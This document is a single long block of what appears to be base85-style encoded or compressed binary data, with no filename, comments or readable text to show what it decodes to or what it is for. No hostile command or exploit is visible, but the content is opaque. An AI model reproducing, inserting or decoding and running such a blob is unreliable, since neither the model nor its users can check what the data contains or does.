z&c1JOMKZcdY=aGBOdQY3s0WD;^D`5Zh(9aft#hbxjQ0bL7x5z`{_1V*|F7f+TDP&sg^!i^15;aje4ON8M&}FSCyLjk zdEZIij?Ui$;#hAPFY9;@lW&i$^9Y|J`Rmeg;nStgqnDf5I)4{OA8Jz{;4>u8RjTKt zIO_S5K>Kr+ymk(+&y?e4n%dAF7xA;imzeKWcGoj}j&YpVtxoFs3!f+P<-=+Hm&wo3 zI)^Wi_*Ciiyn`+=ElzY?D*j@Ai(E&fkhonQDn@vDV(J-|PTe@^Z7PvY;= zd-Hq|f0JDMj6C6@IOA$Z`!hU9{36|FrX@c>o>?5{b&f!tT&tB7cgvSu?m(F|KVDTtdy&h9MpZOhFcb`F?*y82y z>GK?Th;gik@1B?N$K!bgJg)eF;~A~zB5!$Ay%_n0SkChtVa1z|H*uR zzUy_#SFVa>y#e`-)0(HLIQpNksowvzA@BTA_gi>U=|idJx=+GW%6QkB@9TE!fv1-E z%;xiuZa=$_@2jWxx9}_yAGf)l@9-SrDb|(tVNxzulQh@_rN^w+B@?S=RN}krSob``+fiDuj{h*YsbCEda>ttL#Uw#%x zKf4~+eS0~@=TENj@Smm5`4qpJ{Ca>dm3mhFk;vAA_+`dXPrah~{f_fuy*TP=)I#TL zqd3-K4Y`lSc;PD~|FjOy`3v76jy!cvYd;TDeDYj6kMILBuEo^nW8`lW>-hygD91fl z&3SH*_# z#5Nv&L+Z)$hn|nu#c|wS(R7{PCO<@dgWr+kZlnIdpBcxvN}Atw!ugJQgujsZ`r_tL z))Bu&^1Jc>N}eHdJ_dRWIllsZ>UT~b0zK}x`WzDVAV0>N&zK9}@ zan1Nk*H2RNWON;Y$29dI&rFF&-{A43&JJz0PWC$HcNyIMJSD}~q4 z>6Grbc_{u6y{?BRk~&}iuH(%ojyy~0b#VcTe;XFju0wbd$+PEm_W$(!gCqQ>Kl=Co z$K$w%GHIXP{P5(_%KP(}fAztWOF#Fnb@n&x5Af9D$Bq^E$HR+~KU}8wr6tLeR(94i z;={<-rO#&bR24@(F|uf#HOb?2(ftsf+0=vhSSNHJfEScHn~ru~r{K7*BYw^ieVtyL z;>XhKBX}XnA7hw4KWRkXk)Er-i%9&LJbGUQFKHa>cITgs?0mt?il-iy^gq4$Ouc{L z_zqK?K4AU3j{WmKyh6z0!k zLVWP@CJ*YFNbeWGD~R_cZ!3=e6zf;O*3+K6Pha&;PF+LGrQ zz3+To9P9AZlMvhIJK`8u`_Z**{`=(dyK4RLhEh+lUrT%9o62#I&~XvpT)YKccbM^7gg#d`wT?>bdSGnaG1D>3*Jt{MtnIY~&roX`MO513y=mo8og& zo%zHu?>&#|`x*tv2e;Mr3I9&!W$Ya1ehKph?`|B&ZSR9|18xm5(&P!+VS>)Zxe~zc|-;?JuzdwTiVO#^q^UPNtERMca zpzHWh@_6QZ!`%G@-b4B}j-Hdlzc-FNAIo z_3Q+3eD3aUMdy9zHs-&D50v;eC#(BrU8s*C`+czFuW$Y?8;<)Q#19qUW%eJ}r;1~~ zGIa^|JNh<99P8mWeQ)7>^1bwZ4hty%xg`mGm)h0wA9oS?-DMf9FA>La)0y|_zJFfB zKVO^4Cu9hxvkC487Nn_^D9M_E>DITMJJ&%tP z4;QbT$485g9OsRnBwi;{4Nv@J@%d@%dwhm?gPGnsXB$U<4phtRkH@@VTyrFTl6hV4 z)_<3LUrOx*e4fO|3-BMs=cMq)FE)<#`D2-6{`^=!$g@Peehu}9G2g3KWLQB3*uK9M?cp# zN#T!2KjE7tKFW-0HctfdN;EI?Q;EE1R_$|5arF7$1g-42>WSmH(PHGWeSjaAKJ?qA>#!+#u|%2& zep<#mws=N=9@GQBVI284BuQ`cw-86)vgJ)^<6DWN&QWySHsopdHuA?~-r=vM&eSx& z@K54@gz0$)|12Kvtv63N^LLUs?oZ}{s~VfUi^9kPo50M z(dUzi()k_zL3~E>sI>o#6-R#(^{r|1OrrRu#kBwMY;xR;=J!+Fe$Eibar^l6yn`2( z_?2&4+xUg#r7|@3coC^HXX7k>NBxK|A$}%>*0YTK=cl@Uwuoa~cg^+Pt#c>&X!HB> z>|rK9*3aufar}<;gZNrff47_sZTxQXq5+P-PsVZE*01e}Zy}!Jg4TmPt&O8^y`JUr z$78(ko)SMGjrQ#Td8t}6qU8l@R8!R zyQrTMN8iF)>vi_5IQo#>e9w&A=kpYwd~k^0(P#Krsi$3OjlWDjyQJ4ANj>N5X+4Oa zBEG7c`d{LxXJh3^ww@>CH%pc9_)k*L`)^u$e3N*#BRY@Bvt5q+XLViw@EsCAZGc`M zUx=g6|I&Q|e3#@I96_%OugRm=ezCm!RPI-`lLGYa{a=gmC6U-Cb>=Ul&# z2k{4_&Z`S_ywS)*HfsOjhum?U(ft#CSbWCS=JvSoBjQuv>b?g*Dn8-3)(<}^KKX;L zfB0$f*5-F)+;s*2Lwr*^-Iw4u#E*RP=D8`JvPVr%o?GH$vg-93dF~j;I)8RTuP^X> z#xaj;&HX>>K|e#pF)xv0>b{+neC4G&_PFr-a@^x3wEyr2;xo7ExZr=war>M15!~a# zpNJQXrq|ij;;4UHIITYe#V>BA>o%J>>Q77e`FSY*ImN@@N}XHR>V0(~^2?F+`Urm~ zb*7xB>k$4)JaS(ZGd2B#l#C*@KyPn~>C4ST%-LK$z z#D|`6@|zNT@B(t&D@}F0@PZQmWUua5oy4&oHlEY<052?gcF=n6Dvt4%Y_8{fH}XT- z^n8JrlH*2dFGllZ(J>)O7-%S--_X$si>!z+oG zrq><)#4)Zb|7f1E6hEy|LYoI(RgSxGNM(E6iQ?D?;=M~`$2UgFb_tZK)* zSsde?+$6OfFMPV>$(cm^wp|?K3Nr88y6b$8IM(6xd(L{m{Q!K99QV=)Jumi)NoCBA*%#y0c2vllTkQHU9%~#E(f+#EuI-U&hrifnJyY7RR{8jMH`g zoIJ1j-d%UR@Z}~C#v5Y3{}7Jx!dHst{6o*j59FcW7qIbP#8GGCXu8h_na=_t4}7?J zKN|V5zeOUSK-Y_?;;4Vk54t}jB!Bg~rL7;nO7gcaU&`i(ZxWwdUia-}MSx^=c_d3DOWJW=7H}v^&q~i`TUjJ|1fd%C+(?tHXeRN z>hC-?ruC}g$TR-D=BYtmqFYUyAAU-X`|(~ykDn25MbBFh@A~sW-aM|~q}OE}KX2%N z$M+ld-(K!3@xAE&it|^^t@{uBtkl1>kzQxvSH!>U(RBj9D*kMMw{L$KNB{rHm)rIk z@z=#Klh+YP|09;y`^oy`bwBBK2YyqIyLGVMC%|t>{^kGbyu*+&Y)qJkT zJ&*d6PrH)R`Y>_SnJ1z4e>}xceXQ#o{y(Yn%t(D*Hkmv}GOZu}uZhQb@#wVf5ActY zCqhsqe?6uI-&Aq*`NaXPAO2b5UzKcQ<7bnbFJAWe7dJn>jzGLGhBJ>Tf7AT%Na8Qw z>g(Bs;^U$~>R#}i9@g~mZ1Pb&GFgz0{WJSio9N?|=OekJeGSg%v?jFP8so`kke zcoxa?A&Z`mTgXG-Ir|mn9iC0%r;gJ72cARx)oX8jPVo-(92@bujbr_MYksH6UH|Yr z;+GRAvA&J`moj>N+(kZWuKHea%zWxwBU*M&s&ZhVDKJ6rVSUJ5PgO`=~ z8L`US`GSW@{nh`aQZ~S+k ztI9qQm?zTK|DOl@Nd$WRhh|-Ua_fyl6sQx9}z6!_437 zxz~62a`E6sIxp}Q;+;>HRb_y)=IAzfjc z2foQT?h~SY(D$8-h@=1YL-f2WE{=MhZqoG$-z@cvO{@1mCCN{h)%!H~Hi@sfU+>f4 zd!)`S6ZL)xzE9%UOxAs-f;j3K6RfW*;rk^%c3N{To97|;Usdv5p*mmi19IGdzUX}& z{E&E`2%5i!IQlboo^xM>{PoDwB-P`>Pf9(%^>MC)Zu}YXmJM{hA^xm*^NYG3;1{Ky z=Xtdr_$7(IJ4e@B1M(ONbROZCB|dsU{5A2IQFI;=|A%-2+W+C##V?xQp>X>Qzad_7 zl((MS;=i`^`hD?)Y4p56o`>QShif0;kHnkOb7}Y!@w^Lke}+F7FB{`L9^%N;j>g-Ue12R#zu+0A&NeG6*yF;p8^?ZIx=3-q zIJ^~93%9reJA zi`SsnU+m+*;+enVr>E=dN6s@>&g;PA?y2OQzk%Ld#vACf>Nw*H^j&gZ2m0_V&if#N zo=wj8K#wTzKL+{}IWGde?g?i<3G^Z|kAeP8n*Z+4yG8%qhvD*^Ffh-GO8PpH`&>z$ zPX@+U_=-Q0^E5C%NY+oFw>kOWcRZ7U#jBllYzeVfO9;)^!Xy>as3?K7r_@w{DCClJ;z-qUeCP7S|&;CL0f7t5=csTPr zXUJbq+|8fBIQsv%l-@5P4;=AV#ohR{#&LdKXz0ur)<5E1-zWF^@FV2C>AX8Fj^l=z z--~qn|C)Sru&xJqI;p3&#G@Y9k>}A1eSOV7s=wYZ!86EsCuVZaU-O^(^Ar>xn5K-U zo?_xJ59{kz#4j|^_v7H(jpIB$LGMSvcS`(`9-2Sg8pjbo*nFQ4`iAotzFXpN<HCs!{LUi!^Pp-8J1_7f;z9I04Sr1gTD;bt_*2GFXRcWKIvVk3jAOp` z&dutNN1xM@ce&}jE`z5hZ$Mszyx~db^$y~Tk#{?)`9sOq-_-ar%KaOJcaol1NVG{UzKs~ORnRE z{~`5{r{_rU>k|L#7VX1m@=*F5ApEApXQj`x!5myQ-T=4Hi^=;?{A%(|6u*{yRlZy{&wBE6e{21l#8KyqU|kQ} zC_d;{=e)+aej^{5Qr`zTD2{pjGC|L~!{ial>isADiRl}TTcK=hf1Oxw@MqG`ljip; z-9DTqKU<}!^|R#de$(^lJb8zd&N@N;7s;#1`{3}a;;83Xo&2_*+Z2E4aj-q^pX9Z+ z={(*iUwbyOjekt}^9|7FJkQ8~t)lB>y7_Fa+lTVz`*qzu%o9hS6VT^37Et_jd2Wnx z!JkV%^Pbbs?Jpw#&U`P5oBt>B?sVK`7h@<`r^mkI5 zDL&sI?HfFLEUc3dU%i65&ukaR`Pk@DF89@{3-hTg$LwuO6zqH zo=D!kK!ym;Wa=2CpTl3M5d zuf(sS_|ny!_uomlWOUH@mM zYyD}(u@CP$;yCUbGm)?F?)8Fl9&LW&%nQba_`=3fPmhMW{=Fzi;hIUinfEyWV<`$1GdY`ULWz zc1}GQ*EI5t=KBh;p5b%J*U{(J=8G>jd*j>&dcVDq;>(|!Iqd9)k4 z@4X~{_K)+v4Cd>#IOhHQA?LXb=KY;@pRXYOT_n7u9Jld6?SG67j$__4(dYM4iDSM> zn%~86&+E+M81L~jx^HKvJZmWrJWP(8neyZnN1j5IrwIAwsrvc?Ucux+{FMXRXLv>N zA0O#;3SQYb#kac#kK${6Ol0T1 z5&5=k&gTTMu9{PxqW@&DeQrbX`xfZ^Z3pt;De7Is(Vtye^|??_@^$8WATf{lAH0S1 z?OH&5OY!32yz#BYQ+3lmBTrZH7LmO1y~WGY--9E*kND?-I=}F~;@|br`Gxlrzp&gJ z-(S35U41=^_(9@-r*G{U?=bNw8N5EqIOcJ$j0^LKJfp>Tf5oqT#q)l}7k|b3f5pF% z`>w!x`t@@9ALxnA_YAw|Dc4`&EBW8G{qOkL-T&L?d?in$e*Yc+<}304{)c1T{&vCn zJfXWj(SMx3XE_|N&zRT)M#gYI1w>9lL+(f?ivwofd{BnW8PyH)jHuj#i!8Ux1J_X{Ysygo)^csa;Db)Um+h}Mqhuy zf0ud|-P3yDr^Ne4(ftj6)j0Nz?_TTm5q?AB%ToSpFZ{Jw=`E2AP=<}AjDNk?nJ#y}SLSAu< zcUgbk=L=DuI^lHvzza(~i>RJZapc)Y-%C?Y9Cf~-?>&GQm+@YuzbmgHj(Hq>SL>`x z@lELO3LA>!xM%6_tea5$2wLax^5(dRf7wXaVRLcRS%CTmuPE`mSLk|cEsi>yJa8QI z4zD8PN-BR(jq}TO9QQJ<{|*w5JXdJl!mF7)@Ymz?^_uI*lORzWyAHpVc=(=Ddi{de zkowaH#MhQOf2Y6iMtpsVk1f_1#L{*?XgGNzGZ9P?WwNZ*gXO#bkX6#jVZ4=>4^jneZv z#;=+uJngHo#8GFVHv0NEo;b$)7wymRpg7L{RwY zh~8g=$B;Vr(ev%}ue0K8Z^!zqI`5*NBwzxRPo0eXWgpnUlqJ5}9dB#)zYUCX$ ze=TwJZRB_QIgNVcV>{~mQ}9^Qw>l;DxbP710^|+J6OlKu9^%{7$+@q?^TTH3Cj&g5 z$&WfC71!5^h)*E>FDH)qg(nnG_aBaa7OI%vH*IW9|9<7h!^v( z5@sE`dHRrdZlT^^9Q8K|PUVj`|LPk`@wGE(J@Ay$&xhGG&uDS1!*yj-`14@A)5Veh zWYny_VIQ6EdR|EW^ldngr;+?`uH^Mit6$yU2gGL(4>8}P>-x{)IBvJf)qF!Y)b)RE zWI6fp5B03CA|JiAwe>aPcz>h^eV_a~iZ5t>PteW3ll*-8mezNRt`?d z`>dfJ&*UFhh%f3dIXs?4d}Xdu9?vG8B#$>w4)KTgGkfB5iJy;@*yDMOqi=T_%WobsBXTySo(Z`{Pu?=)(?rJpQEUsM<~9ux!-p4oD@gj_LocLcl7NX zdHqZ}UU&f+SB3yDB=tY;AJbPTeKY@hKztF2f0Hi1-;w`k-TijeAYXY|FlWH8~IimZ(niDFMpr>NOJx@`O%c;3H4_z#dDsS z_`y`?-?hInP#d&a<8Jr2eG!?4)@9KK!E;pXat7 z_xG>FU#9qJ)c>pGN2s6o$uClWUXnMZ@qQtXMfC@7*7GP8)tQ3)5XI*ppF{DX?i8b`R?n$08dt966dvV+s zC2o?%@BY`_6d#l#y^SA9{;G`T8Am?yS$rEmNj&g8`awK!pPWtcybkAlC4Qbbu19_7 zxbrCwuk&BNl4mK!^KqAbC4PlCj+@kcj>x@kt|T8aJ(2Y_JuDW-`BLdaQ+r?ZGx#CVd_uG*9v z>TDwZ>ZmuqnRx4CUT+~DDZpEa_YUwj;*|sHZzujfpbs6yR|Ld&5>FQ3UBvST__yNG z0@g`4@#F#CL;OiVKYNL%59nJT@i+nNs;~Hc^Eob@NACLUZye`)*HIaKSxVRPpI=zF z1H~tj$03h?CZdf`NZ$BDHtR{rFXqc@Jq7vA3Ex;xMV|RwZtH2u%M}l`o}N6;h@#fB zke{EWb!H>)IzNw%FGxQ8Z#`}y@*Pt(e<*p`#~NRXyfwvFC9guqtxg{2Zb4g5E%K*# z)a#KKxSq?#Hzdy#KfU!PU`t>+!Zm(Nn%9`_UZ)u6=IgSP2;_mb+5K%T9BNgE%9d`=6U z$Jpfm6xMZ{fc$w0^}OW6%;yQ+zEu&&b*firD!*gjsAC=9pRfIg50-u72-RPo{AukV zo4*D5Bbt{^tn!L1 zJ**MOc^zb)KVv;(zuiRf|9hn4f{!!n9DTUBGJ`)Jeb`36XiGxtyUClH->pM_#2*kx z-x|?*bcQ^vh7*tXHO^6<(M$EX7brd+<+*I*LwqkobzE1i`+PGGYMt;2a{l(MqW!r^ z9`rnozkby7mpJ;+<3(aSuE!MLtcceCoZ^cVtYhO}kzWdJZ9U2kryk_*G^dgE802rG zH?|%kzS!(t7ZSDfJNB`}IzVA4lGreB@w_??B$LiF#-9!VT1Wk)LX){yq8dq3Zp~AGK5;K)$1=`atsD zG~PkvJE{J`|24o58ppn|N{;K+c}TpU9G4ya5B?J0Uk~ON<3c>V`i;ca zSBfKl!r&Z!N1nAdKExL}RQHEn6#rY5ST-JhMC!>^yO{Og$p13G&+G1E$HcKO^{A-% zuTgvt$^$age{!hb< z)`yYziIT$lXmOnHyNBp?VJvy@NcD-7=esys=T!3l&CX-<&m^zkOZz#m@xf zc`4o_ApVv3`ha=)SG-YxzcIepTwDunZscD-xXxldyfcpVSy&wBHT=DJ$5ncravkSs z_bIiI!hfHj+Wan6fE-4ob6yR4hf zb2d!qckDCp@cwx78@|CAtsf%Kd_9r%e&xze2 zFHe4-{2lpo@)qR(l1B{I{GZ6%B~x{~L+ZT#@nT%?h^9aATD|gH zk3s$*Rgm?Vr9%ZKZ;n_7$R`Qn- z)w7ZJPN$xo+?Q274|(Fa>V?QZhlSd46(KKJO5=-?S0%3`j_Y#LqJ{l=ux{&7e9HQo zr!o0~I_gcx(}h=WO5V!+T_?_8%zGR1)KpJ9^1*2}PcLz-^9+%7y$u$}ylk1M`_B-H z??ayl7)D-)*6j%LY|%CUNOAP%Vwj%Sqs6gqN0{#`aK|-4JaC;%ws}H)Wz6%9l=rLp z?}w*Ro+w2!`yKs(N0#%Vu6ccpc=!+Ef%#{P2R`?hOL>0$H=@lmk9^l3#jXD+j`6N} znAY!D4+|-N*nZ8kh5UGEUYlpT&0{_%VDVZf$9v)T3n}_@id75vt_<|zV z_V?i$`HCC)tv?~3urreN=j8vs&u9HJ`TKLptcTyN_56}0zpq3I=eW_u(Vy+l68ate ziEG{5U&W8)cU)f*lXr?#!sF3pywAI4@V)NiJYPb5u=vq3d425`)bo!w33;qc>dD22 zn*BERnMVHjPv#n$isH{y&hHy~rM^E8JeK6Y{5qm9BdcdU5MH$n(wB_=4oC z=BDyB?3~%3zl?a``V14tbs?+yI|#(1Kjp>U`d1`x>O=kTIHpe5_x{n^dVKPNQL9-` z{(p2`WmpzX6a^GSKte)PM8ZTd08v84#12%ju)7mmu@l9@E)=mlFtHI6v9M6=1iQs= z*PU~A^m)F2=Q(rd&Ye4V?!@lDAA-##*we1^n3t#3pAtHci-qVwiQbw58Jrt?-3KcYx5_2iZK{F43o zCB8$R29$S~_(m`5ldmK3d&{&SA1?7DCBC=Bx4xq586xp9=XE|(;*afbNBuhmujc;` z``!NVYJN_T_ziP?$sd&T*d#Who-a=_nmj9{nrJr&adr*^zpqZ=^2z=jq({1?=0E*P}1+{WKH=elKj1orN}=M zyxMN9cP;<$YQB9b@z>*;kT*%x<8aux4&*H){(W>V@YFtfCtN4dkFFYz-aezC+ymDb~Yg~XRxr`x$k@M?cuzm;Ww z*9m@&vKDl)((<7K4dNyKty{A{^5ET+Jg>^9%K!AL>j?C(5d8IszuS!yeALvx`3(xM_IIiB|D~!Pb$r!+Z4~^iw#MW) z3102jGRgiu67Tv_w^QYJD|*!V(&&U9Cn|qj*wf&ymRD8#4@>;2zMa`Gl|L!;bQrIX zm&zv#J6)80HS9koc(vV@Qa(Q=@ryU>_9P2l%`*iz)S#Yp!K?iZG1kZTzQmW?sjbVZ z{VJa(`ZafrJ}xT%O7N{OYwH5!-w1w=G`^~Qrs&t1WEa|_@>vS6_UrRC-TsFX?>9yF z&kMn;_NPW_`9y6uQ{qQ>>+!7e-$c7<9ZMTD*wN%qJgEG4g;(?c66w63C3tn8Khan} zr@WW=qAoiBS@3GSy=tfH|0?l)3@fnR?-Jj7ejxdu5`RWHr@+o^iSH1nocV?QM#nV! z)pjf8(%UtW_zfx5DQ_lt)z1|+Yx>nZpGV>^b#eP6ukzlKo-)yv)DtN9f7i{*g8%n? zR8`WG+o2fs1WEj97p+}&p4OE3c;){Y(BEK*A6MI%d|inj*hTk4V~H=RJdcK+5Q%qH z{{ItvYl+{Yoa4ZElKAt=ISzbZiEnW#C;8zL|FgUyjNf1 zKRE014F#{}pG%*-XipQtt9fSLq_VU>M3OJjS{-t;8RZVN%?2L#K-l>L;oC+_`ds#lRqZ$*E;BV@{His_{qCKkDnw-e(1;A)RQcD zbzd>RU^DU;CHW)YN|H~J_T=amy&$GrF#B+BY4%GXJPuh%aY^==F$E3UgCWg*|6P@5B@w$s3%|^FZQzU4IUV|Dyb^6YZKxe7eM&N&Hl4Tr4EMhs0Y- zyxCc8UaRZ1wZzx2q3>Jl1h4wj%GvslJ+8|5I!f|ers?y#pu|t`)AO*i#3x96DTyzp zJf}c^D@(lNIX$0LllYW_I$uZPN1fOCh7!N2sJ>pbm-u`cdVF@5_=(?jdwNNHKZ)-z z@ufrbec&L8FC_6pB))a7O6+fh;MI9iU;00Xk%CwAzo&zqx5r5Qe(8RGoTPu0zrJsr z@IU&eN_u4dGbCQtKTGgxJjA9IWjxH0_}vm8Bk?!x>iJ=v#GftaPCeTt{`y&I{z|;( zO}*XE6934e0QLNo_#XSU{Gi6I@kxE&)hw&Uvl{--hKS7r_m-suAw0*3q$6C@8 zF6pt8j4 z)#Y1Ae6b!nA1d)tcl2{aOTnw-^&&v`PisluzqMwkI=<~C`3X-8(Eg5+eEG_{{%#Wg zEYOGj>LKa*qWsS-{Lo91zZ0y>50dyCb##8P#CuQF*SjGSA2Y#_?M{{WxI_B6W39wj zRDNHNcsMEXOR8w|MfJmJi7(}+uXkr8-e#~KKW7E6`gvy?eLf~jeEmxL{5>z}X`=j2 z0rsRw{H9Xc{#msrRpOJk+f)9Y#IISR#jPrzA@S=j>i&5w@uj-x>(>j3e<{hok$9V~ zy8I`>tNnF2qsSS=x{G|CIP2&Goo4IHl*GT!}& z;sdW0rv6+KfA*@*=aKmD>x)p{TJUPW_O#Q-(N2La+gV)V z=N<$t}@d;;DC_WZ+}{^1P_P6g`z zRP~q%e(z_UA0zWSD*n;0&i4s|SNqi?UH9`8!K?O9l=frO1h4kDk@SAWOiBJsPJRCt zE%D8ybNYOVw{_Fy7fAdDBb|?t_=grczew<^KU)Sn({IZKul8&ENPVBI@)nAJRDQX1 zFSlCos-8uHSN$I+@fBWc@d@5ijEhsDf^1inw-)@8Li#wWd|tuNm}>Qxyq(~al>a@z zxU2FGf-jn=t>b9d@eglcupv$#Usb+lVEw*jgW&&-&rO0?$5*~r*&^`|>~%kH z6TIr5>XJP>C4SX0-ASyjJ>;QJ`wjlw#fDDjU5cKcJzjzz7^laN%KHf3f4Lr?D(@@! zEoZfRBtjtmm+`bsV?}(CAIts`I>?+ zR9@Q`fv+ui-y(nWbp&6l$lv~~C-|ea|CVncc%vw7{|5by1phf(pTDZ#ng~8mUu{1L z`4GY9GuG|_z&98CFQ32r8!Gr0U9|lPOAUFM4v~hoxOzoek<*q zqRKy%_(~o0^;hNl2>B4}zvcT0zVScu0|bBajqV3k&mh5DI%xYtv^zxb4*%$h5PXhJ z+Wr>u!v$YZn%AoSk%A9gqMg?uKU(ln(tKCt#|nN}{=fSbDfp@X@Dl{TteGkEfU0Mb z;A@2Z%})`0k>Y`W$xl;wbzJg0>Eoj6nIYtzKInPioy6Z3_u*>4RDPC_?{h%U&niD# z@L~V((SrYGulrw>pC|algunGH_`@q}>(+dK>{s_8s(g&XtM-RB)6Xd%1+V5?*ZtZ) zS+(=C#8>=>Uo6@!eo${$m0v3ORZ>1w`Q?I-zo^f5m0v0NK{NDmSNYX~|1wL@Cn_H+ z_*(HSMBkTc+;8XX@5D1zbZYK z@sjul(sP+WiBFN_YfJn+NxqK6uauq-)|2=I>G@!Y#BVyO-zT@0_%Y>mzjYP7I)8uN z*7L&vi65%`e;49e<&TN+9q?Yimsa@`B2JQ}=Z}LWzTjhhzN`ExAz$#}-~1V&e{z_v zUzI;A_`Q>~_*BPbsKgIDq|FzVA0hDv)AV!GSc(6%Nk9LN7rgp>=SQ~Y2UX8h!T)jnR>KQ~Bv@~zR^-6-+?d-eOSEt3Avv-EqL zZIb-Gxw@X6lDz!Cnui4cuRTX3dHH`oj{cAQF-d;UOx>R2|091=@T&i3uGH;3CFzm> zpZ3iE=s7ER_1>mjyuMy1OZtag*3X;Q{zw1K|IvR-(m%L~c8{v=2X0IHH!acaPnYC> z-PP7pRsMm*=e(`+S(2W<3-#wv?-_d{;F=L(HSlOsQlI*x}S{&ua2X;q{me7>U@;r%|h`1#+#)iFUOme;MI1! zO3#t=3SMnDeuM5Gdr6Pnu9M*ZZP!_nm)kA;Kk}}ESKD2@P;b{w;+x0od@+fCAhFZCq;wUlogOT4Az&nALb*QpELwE3v&ZzlME{nkR#V=VbC zRN{+C`ddo+UrYL1|BwE*lAbl|bbq#!_>*0AzN6q(e}+i@>@3L->7ei51_}P(c{Eb+ zYJa~w>i1xyC3!iX$4K(>|MQO%yc*9PB|FDU{MYaLbHK?GpG)~2BJ$64!T%f2a|Hjd zopU8UdrNBf%<4GKllYu7^|*?W__@+PVX5H%ZFi;M|BZ*$f>-@t@t&UF)=2tmOY?ez zB;QENKU*aE1ycUmF8F`PYoFl%wI@N6m&fbC|HvN_ygFWEBs&jFe2^5+$0YunG`=S# zexv073ld+dhyL95vc$jsV!?4wmH1^=fnT#`6TIi)k!~>{S>@v|L&T){l6sn!o&6ZUV|iUUH;ep9D-N%w6@gF z3+g_^Sn#2d&$m}IP#kFx8oBd{uRuo{R}?6HRDOX9)&sX`k)1)QKQ*q$yBT=@K@D78 z1&VH+TcDGbodv4o2lR{RDUoN8gOGFXTtT2@$Fc$qjw~clPYYXt`a4w@$XEFElRgkFC|KCT9+0mv=z`o6GOp8@3#|Z-{wGpTGw_GsJc07l=LkxxG@1J zJ$Vvsd^L0trMDNsLpKsl1n2h_a*a%@3C_X1ia^g7mJuk$+fkrg?@%LNdFHJ3w@(b@ zoFhC17qMOA91N~aG%`r|Gcu0KQ)jh?gMpuY%|D!jK|)WIo_P;_Bi?%pEx{jvUf9|j zVst5{n7cxH!-Oe`vAXQb?4h z9d{9E(I^LjR^%%#kn0TSn-Q8{a8Ijv3iNw0>}&KaP;gJKloV+7!!iObRo*Jn`qrzM zr9d|Cs|n=25c&>WhQ1n4ZAEFjD`+?G86a;5^!&lr+(K@Ua>K8+@wC6YK=xf>{W}xX zs9;rCl*Seg5a{AP%&1;jm{G&ZVWd4wl>cP@Grm7xB4Xq15wT~;%^-K>C+6UlVP;~a zk2LfX=nc7mCTwktCg))Aw3elaoGgE!&VCvSjr_43md>aR^q{Sc&>YQZpYs}V^(q!} z$^CtWT*q+KI5-va_gH2nQR?G`@%X`biMk0-t{I4EYLSA`S`m*L_m4p?XEa7Dihkaf zT1j~Pj6->W?)LW=D1UZ2feP2b2#(d|yfD6A^?=f9BZl0zI*YnLdKDDt;TlApiDe1F z9XCL1wl}rA&aMkjrdNt}gsi{!D36n)VB}6kyK_&>IKZqDS>kJBb?6%CFZo3(}bnvh6Dh z?&=Jb?!ST&+*J*}f1JZu$l3k&5U9o>_@!VhEX}G7OQU?i-SWijzL>MRsQZCvW*~A- znNO&(!y1`pKq$uCEsve3`=u*#iD`d~^qm6G65bo74T3NVwt;@4?&u~M-)HmC-{;>k z_a`QzM+sXHy9%S!a4X?cu(x;uPoyB;~aSst`DuMbAcX$WGi;yvW- z-@zF3eh1+-lalDi>_gy6Yyoms)>h5Fw*!%1>|VjAjV2TkrEc|d2$ZuG^fjsuF0Ca{ zOf{exEp+i%RWjYAP7^M1j;GEE>?aSGOCll_SH@9hzZL7~-!eXWRW zgAuVuuH_P?zd61q6RHaCVGCH5;%Ozg432(huDa135V84v;h__IF;g}Y`-^o(cSVyidZC;lb(KP1(+L%ST4d;+WSDppB#LRlM7^3NpUYZQK*F-~EV-C@F zBB%4H@tdthur5kt`h~Z)P&q~+LxQ9JNv=+_qre^ zcRokNrgG(c@dP9I1mG}faH$H+Z}eMO!Z6|r%PYv{&DSQqZL04nkrJGa6P6~#Vh(k|@ky$6;P+$Sa9 zYkU4T^RY8>quj#?oJqcau@`c?+${vU8L#dBLnFTsMNRM*rAgy~s>}jfJqst6I;ElS zN4H|4M(^p^rG*TH&C9H@?>tZBtNfRYW^)^ZTmp4(f%DtSwn2g`&$`9!DbL>=Wnqd@rKdC0<#<7j@_0f;(bFklC!5)41h|!AbV=n6E?SmQ(S+`EP z08x7JEZXh84}O_hy1FR6dK*3+cOF`L$6`Dp_n_`OWhQIh80&%)Uk_z}s&UnM>OG?D z?=@~6k=1T%!JQus&8Jz{+aKO7_yL+TT%dVyTg1>pqQXT{dc&fI(A;?~H2YG^-rn$# zsViz!4u`&QqT1B=o%&`{Ut8+CMSX$IF@kQki1yCDh=^%K``pp4-x;*qifGLMMAM#* zh=a&ZKpn~DB6poAs;HId`PU;DRi~ps1{~?GVTgkYN>-a;$*vn?XzY;)u>mJrQ*kvJo#6ixn4j zr$5HJ@Z=C8Y-IqnR903*EfQm7=?Mt`AGA9{d?g0aeUK9VDz^Voo@qfCuj1`$$mo1H;&8|7iivp8Jg{n!-Ct& zDOzMMMv1Mpi{OSUXEm*~L>%@$OIIK!n^%Lc-lae;AJKO!cs!&uP@xX6d0sNSai$k+ z=@kU@fhepbtnW|?QM~gQeVF zi0tW^m<#V?VZ9mWpgYItbaFw_ZuEmNasO9xvV-87Tt`e=Gdk1GAnLlDfPKciwI9y9 zH`^iCt&f6LQ@QpOSb<%^%|RH2B2$4rlG{nH&pTM!pQZaIqlWi)jDE;8eOjsOuUD^tlz# z@0LJkKH3X?n~C}zgMIUIU{=@;MlZk68^PoTOhaiR{qkuFxK5PYJsn&V%8jT0yvTJX zXMG#v`-&(p=YB<^GS@LO_cmkCAMpri0X5&DW~1I%g}$dDixwt2O!W08N~3E0y zA#!a)<{BN1Eb5x(BYavj9kXoFDeMIMSRkHb?jbvVUW4qNcNNg5dhmUp{a8QJY>Eoa zE>=M0x1w~03+Bv%iLk)765{X89OR*H$}bzVNUXRZNT8MEk|skg=V!#mPURcMT8##4 z;EhvHxxSS^yIr=!8%yp$u7d^a^Q>Vgw3vnFF^Jx%K7r}p2B`Rhe1Z#KWG+zEdu9U7 zYif(qXQc(Yve#E2g98Nx$}F2-pd9%M3FP}3TC%;++NV^m$iH4fu~> zly4ntanOGm;`!(;pks%zx3K?>e0A##;yEiG8P3cI>&*KG7>`yQ)p_jifLaxVeRuD{ zX7emB!Tq=b?(!Y<^3`icQM#IulSCiPX^nBad;+67@Upf?axh42*UBJ%llnyQM(;3z z-Z?cFXzshV0*z>6DbTGco&TWF$YVFLhUPNW`s-lOhc!Bf*AX>(Z>%p+LY|rer4z*v zwVlyUlwO+zv}r@Q;7&YfEKucxodoI;2f3n`ON*ykV>USos#P}|~XeB&p+6rS-bqRcb?JG*JJcUo+c0&|TZv)h$K4NlFJ)n<% 